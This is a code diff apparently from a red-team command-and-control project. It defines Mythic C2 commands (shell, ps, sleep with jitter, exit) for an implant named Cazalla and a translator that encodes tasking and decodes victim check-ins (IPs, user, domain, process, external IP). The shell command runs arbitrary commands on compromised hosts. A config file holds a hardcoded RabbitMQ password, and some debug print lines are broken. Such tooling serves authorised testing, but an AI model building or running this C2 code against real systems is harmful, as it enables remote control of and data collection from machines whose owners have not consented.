argument_class = ExitArguments
|
||||
attackmapping = []
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
type = taskData.args.get_arg("type")
|
||||
response.DisplayParams = type
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -0,0 +1,44 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
import json
|
||||
|
||||
|
||||
class PsArguments(TaskArguments):
|
||||
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
raise Exception("ps no debe lanzarse con parametros")
|
||||
|
||||
|
||||
class PsCommand(CommandBase):
|
||||
cmd = "ps"
|
||||
needs_admin = False
|
||||
help_cmd = "ps"
|
||||
description = "Lista los procesos del host."
|
||||
version = 1
|
||||
supported_ui_features = ["process_browser:list"]
|
||||
author = "Kaseya OFSTeam"
|
||||
argument_class = PsArguments
|
||||
browser_script = BrowserScript(
|
||||
script_name="ps", author="Kaseya OFSTeam", for_new_ui=True
|
||||
)
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=True
|
||||
)
|
||||
attackmapping = []
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -1,44 +1,44 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class ShellArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="command",
|
||||
type=ParameterType.String,
|
||||
description="Comando a ejecutar"
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Se debe indicar un comando")
|
||||
self.add_arg("command", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class ShellCommand(CommandBase):
|
||||
cmd = "shell"
|
||||
needs_admin = False
|
||||
help_cmd = "shell {command}"
|
||||
description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC"
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = ["T1059"]
|
||||
argument_class = ShellArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
task.display_params = task.args.get_arg("command")
|
||||
return task
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class ShellArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="command",
|
||||
type=ParameterType.String,
|
||||
description="Comando a ejecutar"
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Se debe indicar un comando")
|
||||
self.add_arg("command", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class ShellCommand(CommandBase):
|
||||
cmd = "shell"
|
||||
needs_admin = False
|
||||
help_cmd = "shell {command}"
|
||||
description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC"
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = ["T1059"]
|
||||
argument_class = ShellArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
task.display_params = task.args.get_arg("command")
|
||||
return task
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -1,83 +1,83 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import logging
|
||||
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
|
||||
|
||||
class SleepArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="seconds",
|
||||
type=ParameterType.Number,
|
||||
description="Sleep en segundos",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True,
|
||||
ui_position=1
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="jitter",
|
||||
type=ParameterType.Number,
|
||||
description="Porcentaje del jitter en segundos",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=2
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
logging.info(f"parse_arguments : {self.command_line}")
|
||||
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a command to run")
|
||||
self.add_arg("command", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
logging.info(f"parse_dictionary : {dictionary_arguments}")
|
||||
|
||||
seconds = dictionary_arguments.get("seconds")
|
||||
jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary
|
||||
|
||||
if seconds is None:
|
||||
raise ValueError("The 'seconds' key is required in the dictionary.")
|
||||
if not isinstance(seconds, int) or seconds < 0:
|
||||
raise ValueError("The 'seconds' value must be a non-negative integer.")
|
||||
|
||||
# Explicitly map parsed dictionary values to parameters
|
||||
self.add_arg("seconds", seconds)
|
||||
self.add_arg("jitter", jitter)
|
||||
|
||||
|
||||
class SleepCommand(CommandBase):
|
||||
cmd = "sleep"
|
||||
needs_admin = False
|
||||
help_cmd = "sleep <segundos> [jitter]"
|
||||
description = "Cambiar el sleep."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = ["T1029"]
|
||||
argument_class = SleepArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=True,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
# task.display_params = task.args.get_arg("command")
|
||||
# return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import logging
|
||||
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
|
||||
|
||||
class SleepArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="seconds",
|
||||
type=ParameterType.Number,
|
||||
description="Sleep en segundos",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True,
|
||||
ui_position=1
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="jitter",
|
||||
type=ParameterType.Number,
|
||||
description="Porcentaje del jitter en segundos",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=2
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
logging.info(f"parse_arguments : {self.command_line}")
|
||||
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a command to run")
|
||||
self.add_arg("command", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
logging.info(f"parse_dictionary : {dictionary_arguments}")
|
||||
|
||||
seconds = dictionary_arguments.get("seconds")
|
||||
jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary
|
||||
|
||||
if seconds is None:
|
||||
raise ValueError("The 'seconds' key is required in the dictionary.")
|
||||
if not isinstance(seconds, int) or seconds < 0:
|
||||
raise ValueError("The 'seconds' value must be a non-negative integer.")
|
||||
|
||||
# Explicitly map parsed dictionary values to parameters
|
||||
self.add_arg("seconds", seconds)
|
||||
self.add_arg("jitter", jitter)
|
||||
|
||||
|
||||
class SleepCommand(CommandBase):
|
||||
cmd = "sleep"
|
||||
needs_admin = False
|
||||
help_cmd = "sleep <segundos> [jitter]"
|
||||
description = "Cambiar el sleep."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = ["T1029"]
|
||||
argument_class = SleepArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=True,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
# task.display_params = task.args.get_arg("command")
|
||||
# return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -0,0 +1,71 @@
|
||||
function(task, responses) {
|
||||
console.log(task)
|
||||
console.log("-------------------------------------------------------------------------------------------------------")
|
||||
console.log(responses)
|
||||
if (task.status.includes("error")) {
|
||||
const combined = responses.reduce((prev, cur) => prev + cur, "");
|
||||
return { 'plaintext': combined };
|
||||
} else if (responses.length > 0) {
|
||||
// Combine and split the responses into lines
|
||||
const output = responses.reduce((prev, cur) => prev + cur, "").split("\n").filter(line => line.trim() !== "");
|
||||
if (output.length === 0) {
|
||||
return { 'plaintext': "No process information found." };
|
||||
}
|
||||
|
||||
// Prepare the table structure
|
||||
const formattedResponse = {
|
||||
headers: [
|
||||
{ plaintext: "Process Name", type: "string", fillWidth: true },
|
||||
{ plaintext: "PPID", type: "number", width: 80 },
|
||||
{ plaintext: "PID", type: "number", width: 80 },
|
||||
{ plaintext: "Architecture", type: "string", width: 80 },
|
||||
{ plaintext: "User Account", type: "string", fillWidth: true },
|
||||
{ plaintext: "Session ID", type: "number", width: 80 }
|
||||
],
|
||||
title: "Process List",
|
||||
rows: []
|
||||
};
|
||||
|
||||
// Process each line to populate rows
|
||||
output.forEach(line => {
|
||||
const parts = line.split("\t");
|
||||
// Ensure the array has up to 6 elements, filling missing parts with empty strings
|
||||
while (parts.length < 6) {
|
||||
parts.push("");
|
||||
}
|
||||
const [processName, ppid, pid, architecture, userAccount, sessionId] = parts;
|
||||
|
||||
// Add the row, ensuring missing fields are shown as empty cells
|
||||
formattedResponse.rows.push({
|
||||
"Process Name": {
|
||||
plaintext: processName || "",
|
||||
cellStyle: {}
|
||||
},
|
||||
"PPID": {
|
||||
plaintext: ppid || "",
|
||||
cellStyle: {}
|
||||
},
|
||||
"PID": {
|
||||
plaintext: pid || "",
|
||||
cellStyle: {}
|
||||
},
|
||||
"Architecture": {
|
||||
plaintext: architecture || "",
|
||||
cellStyle: {}
|
||||
},
|
||||
"User Account": {
|
||||
plaintext: userAccount || "",
|
||||
cellStyle: {}
|
||||
},
|
||||
"Session ID": {
|
||||
plaintext: sessionId || "",
|
||||
cellStyle: {}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
return { table: [formattedResponse] };
|
||||
} else {
|
||||
return { 'plaintext': "No response yet from agent..." };
|
||||
}
|
||||
}
|
||||
@@ -1,11 +1,11 @@
|
||||
#from mywebhook.webhook import *
|
||||
import mythic_container
|
||||
import asyncio
|
||||
import cazalla
|
||||
#import websocket.mythic.c2_functions.websocket
|
||||
from translator.translator import *
|
||||
#from my_logger import logger
|
||||
#from basic_command_augment import *
|
||||
#from basic_eventer.my_eventing import *
|
||||
|
||||
#from mywebhook.webhook import *
|
||||
import mythic_container
|
||||
import asyncio
|
||||
import cazalla
|
||||
#import websocket.mythic.c2_functions.websocket
|
||||
from translator.translator import *
|
||||
#from my_logger import logger
|
||||
#from basic_command_augment import *
|
||||
#from basic_eventer.my_eventing import *
|
||||
|
||||
mythic_container.mythic_service.start_and_run_forever()
|
||||
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"rabbitmq_host": "127.0.0.1",
|
||||
"rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p",
|
||||
"mythic_server_host": "127.0.0.1",
|
||||
"debug_level": "debug"
|
||||
{
|
||||
"rabbitmq_host": "127.0.0.1",
|
||||
"rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p",
|
||||
"mythic_server_host": "127.0.0.1",
|
||||
"debug_level": "debug"
|
||||
}
|
||||
@@ -1,9 +1,9 @@
|
||||
aio-pika==9.0.4
|
||||
dynaconf==3.1.11
|
||||
ujson==5.7.0
|
||||
aiohttp==3.8.3
|
||||
psutil==5.9.4
|
||||
grpcio
|
||||
grpcio-tools
|
||||
mythic-container
|
||||
aio-pika==9.0.4
|
||||
dynaconf==3.1.11
|
||||
ujson==5.7.0
|
||||
aiohttp==3.8.3
|
||||
psutil==5.9.4
|
||||
grpcio
|
||||
grpcio-tools
|
||||
mythic-container
|
||||
pyaml
|
||||
@@ -1,68 +1,76 @@
|
||||
import json
|
||||
|
||||
|
||||
commands = {
|
||||
"get_tasking": {"hex_code": 0x00, "input_type": None},
|
||||
"checkin": {"hex_code": 0xf1, "input_type": None},
|
||||
"post_response": {"hex_code": 0x01, "input_type": None},
|
||||
"shell": {"hex_code": 0x54, "input_type": "string"},
|
||||
"exit": {"hex_code": 0x08, "input_type":None},
|
||||
"sleep": {"hex_code":0x38, "input_type":"int"}
|
||||
}
|
||||
|
||||
|
||||
def responseTasking(tasks):
|
||||
data = b""
|
||||
dataTask = b""
|
||||
|
||||
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1,"big") + len(tasks).to_bytes(4, "big")
|
||||
|
||||
for task in tasks:
|
||||
command_to_run = task["command"]
|
||||
|
||||
if commands[command_to_run]["input_type"] == "string":
|
||||
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
||||
data += task["id"].encode()
|
||||
|
||||
if task["parameters"] != "":
|
||||
parameters = json.loads(task["parameters"])
|
||||
data += len(parameters).to_bytes(4,"big")
|
||||
for param in parameters:
|
||||
data += len(parameters[param]).to_bytes(4, "big")
|
||||
data += parameters[param].encode()
|
||||
else:
|
||||
data += b"\x00\x00\x00\x00"
|
||||
|
||||
dataTask += len(data).to_bytes(4, "big") + data
|
||||
|
||||
elif commands[command_to_run]["input_type"] == "int":
|
||||
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
||||
data += task["id"].encode()
|
||||
|
||||
if task["parameters"] != "":
|
||||
parameters = json.loads(task["parameters"])
|
||||
data += len(parameters).to_bytes(4, "big")
|
||||
for param in parameters:
|
||||
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
|
||||
else:
|
||||
data += b"\x00\x00\x00\x00"
|
||||
dataTask += len(data).to_bytes(4, "big") + data
|
||||
|
||||
dataToSend = dataHead + dataTask
|
||||
|
||||
return dataToSend
|
||||
|
||||
|
||||
def responseCheckin(uuid):
|
||||
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
|
||||
return data
|
||||
|
||||
def responsePosting(responses):
|
||||
data = len(responses).to_bytes(4, "big")
|
||||
for response in responses:
|
||||
if response["status"] == "success":
|
||||
data += b"\x01"
|
||||
else:
|
||||
data += b"\x00"
|
||||
|
||||
import json
|
||||
|
||||
commands = {
|
||||
"get_tasking": {"hex_code": 0x00, "input_type": None},
|
||||
"checkin": {"hex_code": 0xf1, "input_type": None},
|
||||
"post_response": {"hex_code": 0x01, "input_type": None},
|
||||
"shell": {"hex_code": 0x54, "input_type": "string"},
|
||||
"exit": {"hex_code": 0x80, "input_type": None},
|
||||
"sleep": {"hex_code": 0x38, "input_type": "int"},
|
||||
"ps": {"hex_code": 0x15, "input_type": None}
|
||||
}
|
||||
|
||||
def responseTasking(tasks):
|
||||
data = b""
|
||||
dataTask = b""
|
||||
|
||||
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1, "big") + len(tasks).to_bytes(4, "big")
|
||||
|
||||
for task in tasks:
|
||||
command_to_run = task["command"]
|
||||
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
||||
|
||||
task_id = task["id"].encode()
|
||||
task_id_bytes = task["id"].encode()
|
||||
task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes
|
||||
|
||||
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
|
||||
data = command_code + task_id_serialized
|
||||
task_size = len(data)
|
||||
dataTask += task_size.to_bytes(4, "big") + data
|
||||
|
||||
print("input_type: None")
|
||||
print(dataTask)
|
||||
|
||||
elif commands[command_to_run]["input_type"] == "string":
|
||||
data = command_code + task_id
|
||||
if task["parameters"] != "":
|
||||
parameters = json.loads(task["parameters"])
|
||||
data += len(parameters).to_bytes(4,"big")
|
||||
for param in parameters:
|
||||
data += len(parameters[param]).to_bytes(4, "big")
|
||||
data += parameters[param].encode()
|
||||
else:
|
||||
data += b"\x00\x00\x00\x00"
|
||||
|
||||
dataTask += len(data).to_bytes(4, "big") + data
|
||||
|
||||
elif commands[command_to_run]["input_type"] == "int":
|
||||
data = command_code + task_id
|
||||
if task["parameters"] != "":
|
||||
parameters = json.loads(task["parameters"])
|
||||
data += len(parameters).to_bytes(4, "big")
|
||||
for param in parameters:
|
||||
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
|
||||
else:
|
||||
data += b"\x00\x00\x00\x00"
|
||||
dataTask += len(data).to_bytes(4, "big") + data
|
||||
|
||||
dataToSend = dataHead + dataTask
|
||||
print("estamos en el dataToSend\n")
|
||||
print(dataToSend)
|
||||
return dataToSend
|
||||
|
||||
|
||||
def responseCheckin(uuid):
|
||||
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
|
||||
return data
|
||||
|
||||
def responsePosting(responses):
|
||||
data = len(responses).to_bytes(4, "big")
|
||||
for response in responses:
|
||||
if response["status"] == "success":
|
||||
data += b"\x01"
|
||||
else:
|
||||
data += b"\x00"
|
||||
return data
|
||||
@@ -1,96 +1,112 @@
|
||||
from translator.utils import *
|
||||
import ipaddress
|
||||
|
||||
def checkIn(data):
|
||||
|
||||
# Retrieve UUID
|
||||
uuid = data[:36]
|
||||
data = data[36:]
|
||||
|
||||
# Retrieve IPs
|
||||
numIPs = int.from_bytes(data[0:4])
|
||||
data = data[4:]
|
||||
i = 0
|
||||
IPs = []
|
||||
while i < numIPs:
|
||||
ip = data[:4]
|
||||
data = data[4:]
|
||||
addr = str(ipaddress.ip_address(ip))
|
||||
IPs.append(addr)
|
||||
i += 1
|
||||
|
||||
# Retrieve OS
|
||||
targetOS, data = getBytesWithSize(data)
|
||||
|
||||
# Retrive Architecture
|
||||
archOS = data[0]
|
||||
if archOS == 0x64:
|
||||
archOS = "x64"
|
||||
elif archOS == 0x86:
|
||||
archOS = "x86"
|
||||
else:
|
||||
archOS = ""
|
||||
data = data[1:]
|
||||
|
||||
# Retrieve HostName
|
||||
hostname, data = getBytesWithSize(data)
|
||||
|
||||
# Retrieve Username
|
||||
username, data = getBytesWithSize(data)
|
||||
|
||||
# Retrieve Domaine
|
||||
domain, data = getBytesWithSize(data)
|
||||
|
||||
# Retrieve PID
|
||||
pid = int.from_bytes(data[0:4])
|
||||
data = data[4:]
|
||||
|
||||
# Retrieve Process Name
|
||||
processName, data = getBytesWithSize(data)
|
||||
|
||||
#Retrieve External IP
|
||||
externalIP, data = getBytesWithSize(data)
|
||||
|
||||
dataJson = {
|
||||
"action": "checkin",
|
||||
"ips": IPs,
|
||||
"os": targetOS.decode('cp850'),
|
||||
"user": username.decode('cp850'),
|
||||
"host": hostname.decode('cp850'),
|
||||
"domain": domain.decode('UTF-16LE'),
|
||||
"process_name":processName.decode('cp850'),
|
||||
"pid": pid,
|
||||
"uuid": uuid.decode('cp850'),
|
||||
"architecture": archOS ,
|
||||
"externalIP": externalIP.decode('cp850'),
|
||||
}
|
||||
|
||||
return dataJson
|
||||
|
||||
|
||||
def getTasking(data):
|
||||
numTasks = int.from_bytes(data[0:4])
|
||||
dataJson = { "action": "get_tasking", "tasking_size": numTasks }
|
||||
return dataJson
|
||||
|
||||
|
||||
def postResponse(data):
|
||||
|
||||
resTaks = []
|
||||
|
||||
uuidTask = data[:36]
|
||||
data = data[36:]
|
||||
output, data = getBytesWithSize(data)
|
||||
jsonTask = {
|
||||
"task_id": uuidTask.decode('cp850'),
|
||||
"user_output":output.decode('cp850'),
|
||||
}
|
||||
|
||||
jsonTask["completed"] = True
|
||||
resTaks.append(jsonTask)
|
||||
|
||||
dataJson = {
|
||||
"action": "post_response",
|
||||
"responses": resTaks
|
||||
}
|
||||
return dataJson
|
||||
from translator.utils import *
|
||||
import ipaddress
|
||||
import json
|
||||
|
||||
def checkIn(data):
|
||||
|
||||
# Retrieve UUID
|
||||
uuid = data[:36]
|
||||
data = data[36:]
|
||||
|
||||
# Retrieve IPs
|
||||
numIPs = int.from_bytes(data[0:4])
|
||||
data = data[4:]
|
||||
i = 0
|
||||
IPs = []
|
||||
while i < numIPs:
|
||||
ip = data[:4]
|
||||
data = data[4:]
|
||||
addr = str(ipaddress.ip_address(ip))
|
||||
IPs.append(addr)
|
||||
i += 1
|
||||
|
||||
# Retrieve OS
|
||||
targetOS, data = getBytesWithSize(data)
|
||||
|
||||
# Retrive Architecture
|
||||
archOS = data[0]
|
||||
if archOS == 0x64:
|
||||
archOS = "x64"
|
||||
elif archOS == 0x86:
|
||||
archOS = "x86"
|
||||
else:
|
||||
archOS = ""
|
||||
data = data[1:]
|
||||
|
||||
# Retrieve HostName
|
||||
hostname, data = getBytesWithSize(data)
|
||||
|
||||
# Retrieve Username
|
||||
username, data = getBytesWithSize(data)
|
||||
|
||||
# Retrieve Domaine
|
||||
domain, data = getBytesWithSize(data)
|
||||
|
||||
# Retrieve PID
|
||||
pid = int.from_bytes(data[0:4])
|
||||
data = data[4:]
|
||||
|
||||
# Retrieve Process Name
|
||||
processName, data = getBytesWithSize(data)
|
||||
|
||||
#Retrieve External IP
|
||||
externalIP, data = getBytesWithSize(data)
|
||||
|
||||
dataJson = {
|
||||
"action": "checkin",
|
||||
"ips": IPs,
|
||||
"os": targetOS.decode('cp850'),
|
||||
"user": username.decode('cp850'),
|
||||
"host": hostname.decode('cp850'),
|
||||
"domain": domain.decode('UTF-16LE'),
|
||||
"process_name":processName.decode('cp850'),
|
||||
"pid": pid,
|
||||
"uuid": uuid.decode('cp850'),
|
||||
"architecture": archOS ,
|
||||
"externalIP": externalIP.decode('cp850'),
|
||||
}
|
||||
|
||||
return dataJson
|
||||
|
||||
|
||||
def getTasking(data):
|
||||
numTasks = int.from_bytes(data[0:4])
|
||||
dataJson = { "action": "get_tasking", "tasking_size": numTasks }
|
||||
return dataJson
|
||||
|
||||
|
||||
def postResponse(data):
|
||||
print("Tamaño del Base64 recibido: {len(data)} bytes")
|
||||
|
||||
resTaks = []
|
||||
uuidTask = data[:36]
|
||||
data = data[36:]
|
||||
|
||||
output, data = getBytesWithSize(data)
|
||||
|
||||
print("Tamaño después de extraer UUID: {len(data)} bytes")
|
||||
|
||||
try:
|
||||
decoded_output = output.decode('cp850')
|
||||
except Exception as e:
|
||||
print("Fallo al decodificar la salida: {e}")
|
||||
decoded_output = "[ERROR DECODIFICANDO]"
|
||||
|
||||
jsonTask = {
|
||||
"task_id": uuidTask.decode('cp850'),
|
||||
"user_output": decoded_output,
|
||||
}
|
||||
|
||||
jsonTask["completed"] = True
|
||||
resTaks.append(jsonTask)
|
||||
|
||||
dataJson = {
|
||||
"action": "post_response",
|
||||
"responses": resTaks
|
||||
}
|
||||
|
||||
print("Respuesta generada: {json.dumps(dataJson, indent=4)}")
|
||||
|
||||
return dataJson
|
||||
|
||||
##FALLA ESTA MIERDA, PORQUE PARECE QUE LO QUE SE ENVIA ES CORRECTO, HAY QUE REVISAR ESTO
|
||||
@@ -1,52 +1,52 @@
|
||||
import json
|
||||
import base64
|
||||
import binascii
|
||||
import os
|
||||
|
||||
from translator.utils import *
|
||||
from translator.commands_from_c2 import *
|
||||
from translator.commands_from_implant import *
|
||||
|
||||
from mythic_container.TranslationBase import *
|
||||
|
||||
class cazalla_translator(TranslationContainer):
|
||||
name = "cazalla_translator"
|
||||
description = "python translation service for the Kaseya C agent Cazalla"
|
||||
author = "OFSTeam"
|
||||
|
||||
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
|
||||
response = TrGenerateEncryptionKeysMessageResponse(Success=True)
|
||||
response.DecryptionKey = b""
|
||||
response.EncryptionKey = b""
|
||||
return response
|
||||
|
||||
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
|
||||
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
|
||||
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
|
||||
if inputMsg.Message["action"] == "checkin":
|
||||
print("Response CHECKIN")
|
||||
response.Message = responseCheckin(inputMsg.Message["id"])
|
||||
elif inputMsg.Message["action"] == "get_tasking":
|
||||
print("Response TASKING")
|
||||
response.Message = responseTasking(inputMsg.Message["tasks"])
|
||||
elif inputMsg.Message["action"] == "post_response":
|
||||
print("Response POSTREP")
|
||||
response.Message = responsePosting(inputMsg.Message["responses"])
|
||||
return response
|
||||
|
||||
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
|
||||
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
|
||||
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
|
||||
#response.Message = json.loads(inputMsg.Message)
|
||||
data = inputMsg.Message
|
||||
if data[0] == commands["checkin"]["hex_code"]:
|
||||
print("CHECK IN")
|
||||
response.Message = checkIn(data[1:])
|
||||
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
|
||||
print("GET TASKING")
|
||||
response.Message = getTasking(data[1:])
|
||||
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
|
||||
print("POST RESPONSE")
|
||||
response.Message = postResponse(data[1:])
|
||||
|
||||
return response
|
||||
import json
|
||||
import base64
|
||||
import binascii
|
||||
import os
|
||||
|
||||
from translator.utils import *
|
||||
from translator.commands_from_c2 import *
|
||||
from translator.commands_from_implant import *
|
||||
|
||||
from mythic_container.TranslationBase import *
|
||||
|
||||
class cazalla_translator(TranslationContainer):
|
||||
name = "cazalla_translator"
|
||||
description = "python translation service for the Kaseya C agent Cazalla"
|
||||
author = "OFSTeam"
|
||||
|
||||
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
|
||||
response = TrGenerateEncryptionKeysMessageResponse(Success=True)
|
||||
response.DecryptionKey = b""
|
||||
response.EncryptionKey = b""
|
||||
return response
|
||||
|
||||
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
|
||||
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
|
||||
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
|
||||
if inputMsg.Message["action"] == "checkin":
|
||||
print("Response CHECKIN")
|
||||
response.Message = responseCheckin(inputMsg.Message["id"])
|
||||
elif inputMsg.Message["action"] == "get_tasking":
|
||||
print("Response TASKING")
|
||||
response.Message = responseTasking(inputMsg.Message["tasks"])
|
||||
elif inputMsg.Message["action"] == "post_response":
|
||||
print("Response POSTREP")
|
||||
response.Message = responsePosting(inputMsg.Message["responses"])
|
||||
return response
|
||||
|
||||
